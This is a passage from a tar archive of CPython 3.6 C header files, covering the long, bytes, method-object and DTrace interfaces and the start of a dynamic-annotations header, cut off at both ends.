PyObject *unicode ); #endif /* Py_LIMITED_API */ #if defined(Py_DEBUG) && !defined(Py_LIMITED_API) PyAPI_FUNC(int) _PyUnicode_CheckConsistency( PyObject *op, int check_content); #elif !defined(NDEBUG) /* For asserts that call _PyUnicode_CheckConsistency(), which would * otherwise be a problem when building with asserts but without Py_DEBUG. */ #define _PyUnicode_CheckConsistency(op, check_content) PyUnicode_Check(op) #endif #ifndef Py_LIMITED_API /* Return an interned Unicode object for an Identifier; may fail if there is no memory.*/ PyAPI_FUNC(PyObject*) _PyUnicode_FromId(_Py_Identifier*); /* Clear all static strings. */ PyAPI_FUNC(void) _PyUnicode_ClearStaticStrings(void); /* Fast equality check when the inputs are known to be exact unicode types and where the hash values are equal (i.e. a very probable match) */ PyAPI_FUNC(int) _PyUnicode_EQ(PyObject *, PyObject *); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_UNICODEOBJECT_H */ python3.6m/pydtrace.h 0000644 00000003662 15246445047 0010477 0 ustar 00 /* Static DTrace probes interface */ #ifndef Py_DTRACE_H #define Py_DTRACE_H #ifdef __cplusplus extern "C" { #endif #ifdef WITH_DTRACE #include "pydtrace_probes.h" /* pydtrace_probes.h, on systems with DTrace, is auto-generated to include `PyDTrace_{PROBE}` and `PyDTrace_{PROBE}_ENABLED()` macros for every probe defined in pydtrace_provider.d. Calling these functions must be guarded by a `PyDTrace_{PROBE}_ENABLED()` check to minimize performance impact when probing is off. For example: if (PyDTrace_FUNCTION_ENTRY_ENABLED()) PyDTrace_FUNCTION_ENTRY(f); */ #else /* Without DTrace, compile to nothing. */ static inline void PyDTrace_LINE(const char *arg0, const char *arg1, int arg2) {} static inline void PyDTrace_FUNCTION_ENTRY(const char *arg0, const char *arg1, int arg2) {} static inline void PyDTrace_FUNCTION_RETURN(const char *arg0, const char *arg1, int arg2) {} static inline void PyDTrace_GC_START(int arg0) {} static inline void PyDTrace_GC_DONE(int arg0) {} static inline void PyDTrace_INSTANCE_NEW_START(int arg0) {} static inline void PyDTrace_INSTANCE_NEW_DONE(int arg0) {} static inline void PyDTrace_INSTANCE_DELETE_START(int arg0) {} static inline void PyDTrace_INSTANCE_DELETE_DONE(int arg0) {} static inline int PyDTrace_LINE_ENABLED(void) { return 0; } static inline int PyDTrace_FUNCTION_ENTRY_ENABLED(void) { return 0; } static inline int PyDTrace_FUNCTION_RETURN_ENABLED(void) { return 0; } static inline int PyDTrace_GC_START_ENABLED(void) { return 0; } static inline int PyDTrace_GC_DONE_ENABLED(void) { return 0; } static inline int PyDTrace_INSTANCE_NEW_START_ENABLED(void) { return 0; } static inline int PyDTrace_INSTANCE_NEW_DONE_ENABLED(void) { return 0; } static inline int PyDTrace_INSTANCE_DELETE_START_ENABLED(void) { return 0; } static inline int PyDTrace_INSTANCE_DELETE_DONE_ENABLED(void) { return 0; } #endif /* !WITH_DTRACE */ #ifdef __cplusplus } #endif #endif /* !Py_DTRACE_H */ python3.6m/pgen.h 0000644 00000000375 15246445047 0007613 0 ustar 00 #ifndef Py_PGEN_H #define Py_PGEN_H #ifdef __cplusplus extern "C" { #endif /* Parser generator interface */ extern grammar *meta_grammar(void); struct _node; extern grammar *pgen(struct _node *); #ifdef __cplusplus } #endif #endif /* !Py_PGEN_H */ python3.6m/longobject.h 0000644 00000023146 15246445047 0011011 0 ustar 00 #ifndef Py_LONGOBJECT_H #define Py_LONGOBJECT_H #ifdef __cplusplus extern "C" { #endif /* Long (arbitrary precision) integer object interface */ typedef struct _longobject PyLongObject; /* Revealed in longintrepr.h */ PyAPI_DATA(PyTypeObject) PyLong_Type; #define PyLong_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_LONG_SUBCLASS) #define PyLong_CheckExact(op) (Py_TYPE(op) == &PyLong_Type) PyAPI_FUNC(PyObject *) PyLong_FromLong(long); PyAPI_FUNC(PyObject *) PyLong_FromUnsignedLong(unsigned long); PyAPI_FUNC(PyObject *) PyLong_FromSize_t(size_t); PyAPI_FUNC(PyObject *) PyLong_FromSsize_t(Py_ssize_t); PyAPI_FUNC(PyObject *) PyLong_FromDouble(double); PyAPI_FUNC(long) PyLong_AsLong(PyObject *); PyAPI_FUNC(long) PyLong_AsLongAndOverflow(PyObject *, int *); PyAPI_FUNC(Py_ssize_t) PyLong_AsSsize_t(PyObject *); PyAPI_FUNC(size_t) PyLong_AsSize_t(PyObject *); PyAPI_FUNC(unsigned long) PyLong_AsUnsignedLong(PyObject *); PyAPI_FUNC(unsigned long) PyLong_AsUnsignedLongMask(PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyLong_AsInt(PyObject *); #endif PyAPI_FUNC(PyObject *) PyLong_GetInfo(void); /* It may be useful in the future. I've added it in the PyInt -> PyLong cleanup to keep the extra information. [CH] */ #define PyLong_AS_LONG(op) PyLong_AsLong(op) /* Issue #1983: pid_t can be longer than a C long on some systems */ #if !defined(SIZEOF_PID_T) || SIZEOF_PID_T == SIZEOF_INT #define _Py_PARSE_PID "i" #define PyLong_FromPid PyLong_FromLong #define PyLong_AsPid PyLong_AsLong #elif SIZEOF_PID_T == SIZEOF_LONG #define _Py_PARSE_PID "l" #define PyLong_FromPid PyLong_FromLong #define PyLong_AsPid PyLong_AsLong #elif defined(SIZEOF_LONG_LONG) && SIZEOF_PID_T == SIZEOF_LONG_LONG #define _Py_PARSE_PID "L" #define PyLong_FromPid PyLong_FromLongLong #define PyLong_AsPid PyLong_AsLongLong #else #error "sizeof(pid_t) is neither sizeof(int), sizeof(long) or sizeof(long long)" #endif /* SIZEOF_PID_T */ #if SIZEOF_VOID_P == SIZEOF_INT # define _Py_PARSE_INTPTR "i" # define _Py_PARSE_UINTPTR "I" #elif SIZEOF_VOID_P == SIZEOF_LONG # define _Py_PARSE_INTPTR "l" # define _Py_PARSE_UINTPTR "k" #elif defined(SIZEOF_LONG_LONG) && SIZEOF_VOID_P == SIZEOF_LONG_LONG # define _Py_PARSE_INTPTR "L" # define _Py_PARSE_UINTPTR "K" #else # error "void* different in size from int, long and long long" #endif /* SIZEOF_VOID_P */ /* Used by Python/mystrtoul.c, _PyBytes_FromHex(), _PyBytes_DecodeEscapeRecode(), etc. */ #ifndef Py_LIMITED_API PyAPI_DATA(unsigned char) _PyLong_DigitValue[256]; #endif /* _PyLong_Frexp returns a double x and an exponent e such that the true value is approximately equal to x * 2**e. e is >= 0. x is 0.0 if and only if the input is 0 (in which case, e and x are both zeroes); otherwise, 0.5 <= abs(x) < 1.0. On overflow, which is possible if the number of bits doesn't fit into a Py_ssize_t, sets OverflowError and returns -1.0 for x, 0 for e. */ #ifndef Py_LIMITED_API PyAPI_FUNC(double) _PyLong_Frexp(PyLongObject *a, Py_ssize_t *e); #endif PyAPI_FUNC(double) PyLong_AsDouble(PyObject *); PyAPI_FUNC(PyObject *) PyLong_FromVoidPtr(void *); PyAPI_FUNC(void *) PyLong_AsVoidPtr(PyObject *); PyAPI_FUNC(PyObject *) PyLong_FromLongLong(long long); PyAPI_FUNC(PyObject *) PyLong_FromUnsignedLongLong(unsigned long long); PyAPI_FUNC(long long) PyLong_AsLongLong(PyObject *); PyAPI_FUNC(unsigned long long) PyLong_AsUnsignedLongLong(PyObject *); PyAPI_FUNC(unsigned long long) PyLong_AsUnsignedLongLongMask(PyObject *); PyAPI_FUNC(long long) PyLong_AsLongLongAndOverflow(PyObject *, int *); PyAPI_FUNC(PyObject *) PyLong_FromString(const char *, char **, int); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyLong_FromUnicode(Py_UNICODE*, Py_ssize_t, int); PyAPI_FUNC(PyObject *) PyLong_FromUnicodeObject(PyObject *u, int base); PyAPI_FUNC(PyObject *) _PyLong_FromBytes(const char *, Py_ssize_t, int); #endif #ifndef Py_LIMITED_API /* _PyLong_Sign. Return 0 if v is 0, -1 if v < 0, +1 if v > 0. v must not be NULL, and must be a normalized long. There are no error cases. */ PyAPI_FUNC(int) _PyLong_Sign(PyObject *v); /* _PyLong_NumBits. Return the number of bits needed to represent the absolute value of a long. For example, this returns 1 for 1 and -1, 2 for 2 and -2, and 2 for 3 and -3. It returns 0 for 0. v must not be NULL, and must be a normalized long. (size_t)-1 is returned and OverflowError set if the true result doesn't fit in a size_t. */ PyAPI_FUNC(size_t) _PyLong_NumBits(PyObject *v); /* _PyLong_DivmodNear. Given integers a and b, compute the nearest integer q to the exact quotient a / b, rounding to the nearest even integer in the case of a tie. Return (q, r), where r = a - q*b. The remainder r will satisfy abs(r) <= abs(b)/2, with equality possible only if q is even. */ PyAPI_FUNC(PyObject *) _PyLong_DivmodNear(PyObject *, PyObject *); /* _PyLong_FromByteArray: View the n unsigned bytes as a binary integer in base 256, and return a Python int with the same numeric value. If n is 0, the integer is 0. Else: If little_endian is 1/true, bytes[n-1] is the MSB and bytes[0] the LSB; else (little_endian is 0/false) bytes[0] is the MSB and bytes[n-1] the LSB. If is_signed is 0/false, view the bytes as a non-negative integer. If is_signed is 1/true, view the bytes as a 2's-complement integer, non-negative if bit 0x80 of the MSB is clear, negative if set. Error returns: + Return NULL with the appropriate exception set if there's not enough memory to create the Python int. */ PyAPI_FUNC(PyObject *) _PyLong_FromByteArray( const unsigned char* bytes, size_t n, int little_endian, int is_signed); /* _PyLong_AsByteArray: Convert the least-significant 8*n bits of long v to a base-256 integer, stored in array bytes. Normally return 0, return -1 on error. If little_endian is 1/true, store the MSB at bytes[n-1] and the LSB at bytes[0]; else (little_endian is 0/false) store the MSB at bytes[0] and the LSB at bytes[n-1]. If is_signed is 0/false, it's an error if v < 0; else (v >= 0) n bytes are filled and there's nothing special about bit 0x80 of the MSB. If is_signed is 1/true, bytes is filled with the 2's-complement representation of v's value. Bit 0x80 of the MSB is the sign bit. Error returns (-1): + is_signed is 0 and v < 0. TypeError is set in this case, and bytes isn't altered. + n isn't big enough to hold the full mathematical value of v. For example, if is_signed is 0 and there are more digits in the v than fit in n; or if is_signed is 1, v < 0, and n is just 1 bit shy of being large enough to hold a sign bit. OverflowError is set in this case, but bytes holds the least-significant n bytes of the true value. */ PyAPI_FUNC(int) _PyLong_AsByteArray(PyLongObject* v, unsigned char* bytes, size_t n, int little_endian, int is_signed); /* _PyLong_FromNbInt: Convert the given object to a PyLongObject using the nb_int slot, if available. Raise TypeError if either the nb_int slot is not available or the result of the call to nb_int returns something not of type int. */ PyAPI_FUNC(PyLongObject *)_PyLong_FromNbInt(PyObject *); /* _PyLong_Format: Convert the long to a string object with given base, appending a base prefix of 0[box] if base is 2, 8 or 16. */ PyAPI_FUNC(PyObject *) _PyLong_Format(PyObject *obj, int base); PyAPI_FUNC(int) _PyLong_FormatWriter( _PyUnicodeWriter *writer, PyObject *obj, int base, int alternate); PyAPI_FUNC(char*) _PyLong_FormatBytesWriter( _PyBytesWriter *writer, char *str, PyObject *obj, int base, int alternate); /* Format the object based on the format_spec, as defined in PEP 3101 (Advanced String Formatting). */ PyAPI_FUNC(int) _PyLong_FormatAdvancedWriter( _PyUnicodeWriter *writer, PyObject *obj, PyObject *format_spec, Py_ssize_t start, Py_ssize_t end); #endif /* Py_LIMITED_API */ /* These aren't really part of the int object, but they're handy. The functions are in Python/mystrtoul.c. */ PyAPI_FUNC(unsigned long) PyOS_strtoul(const char *, char **, int); PyAPI_FUNC(long) PyOS_strtol(const char *, char **, int); #ifndef Py_LIMITED_API /* For use by the gcd function in mathmodule.c */ PyAPI_FUNC(PyObject *) _PyLong_GCD(PyObject *, PyObject *); #endif /* !Py_LIMITED_API */ #ifdef Py_BUILD_CORE /* * Default int base conversion size limitation: Denial of Service prevention. * * Chosen such that this isn't wildly slow on modern hardware and so that * everyone's existing deployed numpy test suite passes before * https://github.com/numpy/numpy/issues/22098 is widely available. * * $ python -m timeit -s 's = "1"*4300' 'int(s)' * 2000 loops, best of 5: 125 usec per loop * $ python -m timeit -s 's = "1"*4300; v = int(s)' 'str(v)' * 1000 loops, best of 5: 311 usec per loop * (zen2 cloud VM) * * 4300 decimal digits fits a ~14284 bit number. */ #define _PY_LONG_DEFAULT_MAX_STR_DIGITS 4300 /* * Threshold for max digits check. For performance reasons int() and * int.__str__() don't checks values that are smaller than this * threshold. Acts as a guaranteed minimum size limit for bignums that * applications can expect from CPython. * * % python -m timeit -s 's = "1"*640; v = int(s)' 'str(int(s))' * 20000 loops, best of 5: 12 usec per loop * * "640 digits should be enough for anyone." - gps * fits a ~2126 bit decimal number. */ #define _PY_LONG_MAX_STR_DIGITS_THRESHOLD 640 #if ((_PY_LONG_DEFAULT_MAX_STR_DIGITS != 0) && \ (_PY_LONG_DEFAULT_MAX_STR_DIGITS < _PY_LONG_MAX_STR_DIGITS_THRESHOLD)) # error "_PY_LONG_DEFAULT_MAX_STR_DIGITS smaller than threshold." #endif #endif /* Py_BUILD_CORE */ #ifdef __cplusplus } #endif #endif /* !Py_LONGOBJECT_H */ python3.6m/methodobject.h 0000644 00000007407 15246445047 0011334 0 ustar 00 /* Method object interface */ #ifndef Py_METHODOBJECT_H #define Py_METHODOBJECT_H #ifdef __cplusplus extern "C" { #endif /* This is about the type 'builtin_function_or_method', not Python methods in user-defined classes. See classobject.h for the latter. */ PyAPI_DATA(PyTypeObject) PyCFunction_Type; #define PyCFunction_Check(op) (Py_TYPE(op) == &PyCFunction_Type) typedef PyObject *(*PyCFunction)(PyObject *, PyObject *); typedef PyObject *(*_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); typedef PyObject *(*PyCFunctionWithKeywords)(PyObject *, PyObject *, PyObject *); typedef PyObject *(*PyNoArgsFunction)(PyObject *); PyAPI_FUNC(PyCFunction) PyCFunction_GetFunction(PyObject *); PyAPI_FUNC(PyObject *) PyCFunction_GetSelf(PyObject *); PyAPI_FUNC(int) PyCFunction_GetFlags(PyObject *); /* Macros for direct access to these values. Type checks are *not* done, so use with care. */ #ifndef Py_LIMITED_API #define PyCFunction_GET_FUNCTION(func) \ (((PyCFunctionObject *)func) -> m_ml -> ml_meth) #define PyCFunction_GET_SELF(func) \ (((PyCFunctionObject *)func) -> m_ml -> ml_flags & METH_STATIC ? \ NULL : ((PyCFunctionObject *)func) -> m_self) #define PyCFunction_GET_FLAGS(func) \ (((PyCFunctionObject *)func) -> m_ml -> ml_flags) #endif PyAPI_FUNC(PyObject *) PyCFunction_Call(PyObject *, PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyCFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); PyAPI_FUNC(PyObject *) _PyCFunction_FastCallKeywords(PyObject *func, PyObject **stack, Py_ssize_t nargs, PyObject *kwnames); #endif struct PyMethodDef { const char *ml_name; /* The name of the built-in function/method */ PyCFunction ml_meth; /* The C function that implements it */ int ml_flags; /* Combination of METH_xxx flags, which mostly describe the args expected by the C func */ const char *ml_doc; /* The __doc__ attribute, or NULL */ }; typedef struct PyMethodDef PyMethodDef; #define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL) PyAPI_FUNC(PyObject *) PyCFunction_NewEx(PyMethodDef *, PyObject *, PyObject *); /* Flag passed to newmethodobject */ /* #define METH_OLDARGS 0x0000 -- unsupported now */ #define METH_VARARGS 0x0001 #define METH_KEYWORDS 0x0002 /* METH_NOARGS and METH_O must not be combined with the flags above. */ #define METH_NOARGS 0x0004 #define METH_O 0x0008 /* METH_CLASS and METH_STATIC are a little different; these control the construction of methods for a class. These cannot be used for functions in modules. */ #define METH_CLASS 0x0010 #define METH_STATIC 0x0020 /* METH_COEXIST allows a method to be entered even though a slot has already filled the entry. When defined, the flag allows a separate method, "__contains__" for example, to coexist with a defined slot like sq_contains. */ #define METH_COEXIST 0x0040 #ifndef Py_LIMITED_API #define METH_FASTCALL 0x0080 typedef struct { PyObject_HEAD PyMethodDef *m_ml; /* Description of the C function to call */ PyObject *m_self; /* Passed as 'self' arg to the C func, can be NULL */ PyObject *m_module; /* The __module__ attribute, can be anything */ PyObject *m_weakreflist; /* List of weak references */ } PyCFunctionObject; #endif PyAPI_FUNC(int) PyCFunction_ClearFreeList(void); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyCFunction_DebugMallocStats(FILE *out); PyAPI_FUNC(void) _PyMethod_DebugMallocStats(FILE *out); #endif #ifdef __cplusplus } #endif #endif /* !Py_METHODOBJECT_H */ python3.6m/bytes_methods.h 0000644 00000006167 15246445047 0011540 0 ustar 00 #ifndef Py_LIMITED_API #ifndef Py_BYTES_CTYPE_H #define Py_BYTES_CTYPE_H /* * The internal implementation behind PyBytes (bytes) and PyByteArray (bytearray) * methods of the given names, they operate on ASCII byte strings. */ extern PyObject* _Py_bytes_isspace(const char *cptr, Py_ssize_t len); extern PyObject* _Py_bytes_isalpha(const char *cptr, Py_ssize_t len); extern PyObject* _Py_bytes_isalnum(const char *cptr, Py_ssize_t len); extern PyObject* _Py_bytes_isdigit(const char *cptr, Py_ssize_t len); extern PyObject* _Py_bytes_islower(const char *cptr, Py_ssize_t len); extern PyObject* _Py_bytes_isupper(const char *cptr, Py_ssize_t len); extern PyObject* _Py_bytes_istitle(const char *cptr, Py_ssize_t len); /* These store their len sized answer in the given preallocated *result arg. */ extern void _Py_bytes_lower(char *result, const char *cptr, Py_ssize_t len); extern void _Py_bytes_upper(char *result, const char *cptr, Py_ssize_t len); extern void _Py_bytes_title(char *result, const char *s, Py_ssize_t len); extern void _Py_bytes_capitalize(char *result, const char *s, Py_ssize_t len); extern void _Py_bytes_swapcase(char *result, const char *s, Py_ssize_t len); extern PyObject *_Py_bytes_find(const char *str, Py_ssize_t len, PyObject *args); extern PyObject *_Py_bytes_index(const char *str, Py_ssize_t len, PyObject *args); extern PyObject *_Py_bytes_rfind(const char *str, Py_ssize_t len, PyObject *args); extern PyObject *_Py_bytes_rindex(const char *str, Py_ssize_t len, PyObject *args); extern PyObject *_Py_bytes_count(const char *str, Py_ssize_t len, PyObject *args); extern int _Py_bytes_contains(const char *str, Py_ssize_t len, PyObject *arg); extern PyObject *_Py_bytes_startswith(const char *str, Py_ssize_t len, PyObject *args); extern PyObject *_Py_bytes_endswith(const char *str, Py_ssize_t len, PyObject *args); /* The maketrans() static method. */ extern PyObject* _Py_bytes_maketrans(Py_buffer *frm, Py_buffer *to); /* Shared __doc__ strings. */ extern const char _Py_isspace__doc__[]; extern const char _Py_isalpha__doc__[]; extern const char _Py_isalnum__doc__[]; extern const char _Py_isdigit__doc__[]; extern const char _Py_islower__doc__[]; extern const char _Py_isupper__doc__[]; extern const char _Py_istitle__doc__[]; extern const char _Py_lower__doc__[]; extern const char _Py_upper__doc__[]; extern const char _Py_title__doc__[]; extern const char _Py_capitalize__doc__[]; extern const char _Py_swapcase__doc__[]; extern const char _Py_count__doc__[]; extern const char _Py_find__doc__[]; extern const char _Py_index__doc__[]; extern const char _Py_rfind__doc__[]; extern const char _Py_rindex__doc__[]; extern const char _Py_startswith__doc__[]; extern const char _Py_endswith__doc__[]; extern const char _Py_maketrans__doc__[]; extern const char _Py_expandtabs__doc__[]; extern const char _Py_ljust__doc__[]; extern const char _Py_rjust__doc__[]; extern const char _Py_center__doc__[]; extern const char _Py_zfill__doc__[]; /* this is needed because some docs are shared from the .o, not static */ #define PyDoc_STRVAR_shared(name,str) const char name[] = PyDoc_STR(str) #endif /* !Py_BYTES_CTYPE_H */ #endif /* !Py_LIMITED_API */ python3.6m/bytesobject.h 0000644 00000020253 15246445047 0011174 0 ustar 00 /* Bytes (String) object interface */ #ifndef Py_BYTESOBJECT_H #define Py_BYTESOBJECT_H #ifdef __cplusplus extern "C" { #endif #include <stdarg.h> /* Type PyBytesObject represents a character string. An extra zero byte is reserved at the end to ensure it is zero-terminated, but a size is present so strings with null bytes in them can be represented. This is an immutable object type. There are functions to create new string objects, to test an object for string-ness, and to get the string value. The latter function returns a null pointer if the object is not of the proper type. There is a variant that takes an explicit size as well as a variant that assumes a zero-terminated string. Note that none of the functions should be applied to nil objects. */ /* Caching the hash (ob_shash) saves recalculation of a string's hash value. This significantly speeds up dict lookups. */ #ifndef Py_LIMITED_API typedef struct { PyObject_VAR_HEAD Py_hash_t ob_shash; char ob_sval[1]; /* Invariants: * ob_sval contains space for 'ob_size+1' elements. * ob_sval[ob_size] == 0. * ob_shash is the hash of the string or -1 if not computed yet. */ } PyBytesObject; #endif PyAPI_DATA(PyTypeObject) PyBytes_Type; PyAPI_DATA(PyTypeObject) PyBytesIter_Type; #define PyBytes_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_BYTES_SUBCLASS) #define PyBytes_CheckExact(op) (Py_TYPE(op) == &PyBytes_Type) PyAPI_FUNC(PyObject *) PyBytes_FromStringAndSize(const char *, Py_ssize_t); PyAPI_FUNC(PyObject *) PyBytes_FromString(const char *); PyAPI_FUNC(PyObject *) PyBytes_FromObject(PyObject *); PyAPI_FUNC(PyObject *) PyBytes_FromFormatV(const char*, va_list) Py_GCC_ATTRIBUTE((format(printf, 1, 0))); PyAPI_FUNC(PyObject *) PyBytes_FromFormat(const char*, ...) Py_GCC_ATTRIBUTE((format(printf, 1, 2))); PyAPI_FUNC(Py_ssize_t) PyBytes_Size(PyObject *); PyAPI_FUNC(char *) PyBytes_AsString(PyObject *); PyAPI_FUNC(PyObject *) PyBytes_Repr(PyObject *, int); PyAPI_FUNC(void) PyBytes_Concat(PyObject **, PyObject *); PyAPI_FUNC(void) PyBytes_ConcatAndDel(PyObject **, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyBytes_Resize(PyObject **, Py_ssize_t); PyAPI_FUNC(PyObject*) _PyBytes_FormatEx( const char *format, Py_ssize_t format_len, PyObject *args, int use_bytearray); PyAPI_FUNC(PyObject*) _PyBytes_FromHex( PyObject *string, int use_bytearray); #endif PyAPI_FUNC(PyObject *) PyBytes_DecodeEscape(const char *, Py_ssize_t, const char *, Py_ssize_t, const char *); #ifndef Py_LIMITED_API /* Helper for PyBytes_DecodeEscape that detects invalid escape chars. */ PyAPI_FUNC(PyObject *) _PyBytes_DecodeEscape(const char *, Py_ssize_t, const char *, Py_ssize_t, const char *, const char **); #endif /* Macro, trading safety for speed */ #ifndef Py_LIMITED_API #define PyBytes_AS_STRING(op) (assert(PyBytes_Check(op)), \ (((PyBytesObject *)(op))->ob_sval)) #define PyBytes_GET_SIZE(op) (assert(PyBytes_Check(op)),Py_SIZE(op)) #endif /* _PyBytes_Join(sep, x) is like sep.join(x). sep must be PyBytesObject*, x must be an iterable object. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyBytes_Join(PyObject *sep, PyObject *x); #endif /* Provides access to the internal data buffer and size of a string object or the default encoded version of a Unicode object. Passing NULL as *len parameter will force the string buffer to be 0-terminated (passing a string with embedded NULL characters will cause an exception). */ PyAPI_FUNC(int) PyBytes_AsStringAndSize( PyObject *obj, /* string or Unicode object */ char **s, /* pointer to buffer variable */ Py_ssize_t *len /* pointer to length variable or NULL (only possible for 0-terminated strings) */ ); /* Using the current locale, insert the thousands grouping into the string pointed to by buffer. For the argument descriptions, see Objects/stringlib/localeutil.h */ #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) _PyBytes_InsertThousandsGroupingLocale(char *buffer, Py_ssize_t n_buffer, char *digits, Py_ssize_t n_digits, Py_ssize_t min_width); /* Using explicit passed-in values, insert the thousands grouping into the string pointed to by buffer. For the argument descriptions, see Objects/stringlib/localeutil.h */ PyAPI_FUNC(Py_ssize_t) _PyBytes_InsertThousandsGrouping(char *buffer, Py_ssize_t n_buffer, char *digits, Py_ssize_t n_digits, Py_ssize_t min_width, const char *grouping, const char *thousands_sep); #endif /* Flags used by string formatting */ #define F_LJUST (1<<0) #define F_SIGN (1<<1) #define F_BLANK (1<<2) #define F_ALT (1<<3) #define F_ZERO (1<<4) #ifndef Py_LIMITED_API /* The _PyBytesWriter structure is big: it contains an embedded "stack buffer". A _PyBytesWriter variable must be declared at the end of variables in a function to optimize the memory allocation on the stack. */ typedef struct { /* bytes, bytearray or NULL (when the small buffer is used) */ PyObject *buffer; /* Number of allocated size. */ Py_ssize_t allocated; /* Minimum number of allocated bytes, incremented by _PyBytesWriter_Prepare() */ Py_ssize_t min_size; /* If non-zero, use a bytearray instead of a bytes object for buffer. */ int use_bytearray; /* If non-zero, overallocate the buffer (default: 0). This flag must be zero if use_bytearray is non-zero. */ int overallocate; /* Stack buffer */ int use_small_buffer; char small_buffer[512]; } _PyBytesWriter; /* Initialize a bytes writer By default, the overallocation is disabled. Set the overallocate attribute to control the allocation of the buffer. */ PyAPI_FUNC(void) _PyBytesWriter_Init(_PyBytesWriter *writer); /* Get the buffer content and reset the writer. Return a bytes object, or a bytearray object if use_bytearray is non-zero. Raise an exception and return NULL on error. */ PyAPI_FUNC(PyObject *) _PyBytesWriter_Finish(_PyBytesWriter *writer, void *str); /* Deallocate memory of a writer (clear its internal buffer). */ PyAPI_FUNC(void) _PyBytesWriter_Dealloc(_PyBytesWriter *writer); /* Allocate the buffer to write size bytes. Return the pointer to the beginning of buffer data. Raise an exception and return NULL on error. */ PyAPI_FUNC(void*) _PyBytesWriter_Alloc(_PyBytesWriter *writer, Py_ssize_t size); /* Ensure that the buffer is large enough to write *size* bytes. Add size to the writer minimum size (min_size attribute). str is the current pointer inside the buffer. Return the updated current pointer inside the buffer. Raise an exception and return NULL on error. */ PyAPI_FUNC(void*) _PyBytesWriter_Prepare(_PyBytesWriter *writer, void *str, Py_ssize_t size); /* Resize the buffer to make it larger. The new buffer may be larger than size bytes because of overallocation. Return the updated current pointer inside the buffer. Raise an exception and return NULL on error. Note: size must be greater than the number of allocated bytes in the writer. This function doesn't use the writer minimum size (min_size attribute). See also _PyBytesWriter_Prepare(). */ PyAPI_FUNC(void*) _PyBytesWriter_Resize(_PyBytesWriter *writer, void *str, Py_ssize_t size); /* Write bytes. Raise an exception and return NULL on error. */ PyAPI_FUNC(void*) _PyBytesWriter_WriteBytes(_PyBytesWriter *writer, void *str, const void *bytes, Py_ssize_t size); #endif /* Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_BYTESOBJECT_H */ python3.6m/dynamic_annotations.h 0000644 00000053705 15246445047 0012730 0 ustar 00 /* Copyright (c) 2008-2009, Google Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * --- * Author: Kostya Serebryany * Copied to CPython by Jeffrey Yasskin, with all macros renamed to * start with _Py_ to avoid colliding with users embedding Python, and * with deprecated macros removed. */ /* This file defines dynamic annotations for use with dynamic analysis tool such as valgrind, PIN, etc. Dynamic annotation is a source code annotation that affects the generated code (that is, the annotation is not a comment). Each such annotation is attached to a particular instruction and/or to a particular object (address) in the program. The annotations that should be used by users are macros in all upper-case (e.g., _Py_ANNOTATE_NEW_MEMORY). Actual implementation of these macros may differ depending on the dynamic analysis tool being used. See http://code.google.com/p/data-race-test/ for more information. This file supports the following dynamic analysis tools: - None (DYNAMIC_ANNOTATIONS_ENABLED is not defined or zero). Macros are defined empty. - ThreadSanitizer, Helgrind, DRD (DYNAMIC_ANNOTATIONS_ENABLED is 1). Macros are defined as calls to non-inlinable empty functions that are intercepted by Valgrind. */ #ifndef __DYNAMIC_ANNOTATIONS_H__ #define __DYNAMIC_ANNOTATIONS_H__ #ifndef DYNAMIC_ANNOTATIONS_ENABLED # define DYNAMIC_ANNOTATIONS_ENABLED 0 #endif #if DYNAMIC_ANNOTATIONS_ENABLED != 0 /* ------------------------------------------------------------- Annotations useful when implementing condition variables such as CondVar, using conditional critical sections (Await/LockWhen) and when constructing user-defined synchronization mechanisms. The annotations _Py_ANNOTATE_HAPPENS_BEFORE() and _Py_ANNOTATE_HAPPENS_AFTER() can be used to define happens-before arcs in user-defined synchronization mechanisms: the race detector will infer an arc from the former to the latter when they share the same argument pointer. Example 1 (reference counting): void Unref() { _Py_ANNOTATE_HAPPENS_BEFORE(&refcount_); if (AtomicDecrementByOne(&refcount_) == 0) { _Py_ANNOTATE_HAPPENS_AFTER(&refcount_); delete this; } } Example 2 (message queue): void MyQueue::Put(Type *e) { MutexLock lock(&mu_); _Py_ANNOTATE_HAPPENS_BEFORE(e); PutElementIntoMyQueue(e); } Type *MyQueue::Get() { MutexLock lock(&mu_); Type *e = GetElementFromMyQueue(); _Py_ANNOTATE_HAPPENS_AFTER(e); return e; } Note: when possible, please use the existing reference counting and message queue implementations instead of inventing new ones. */ /* Report 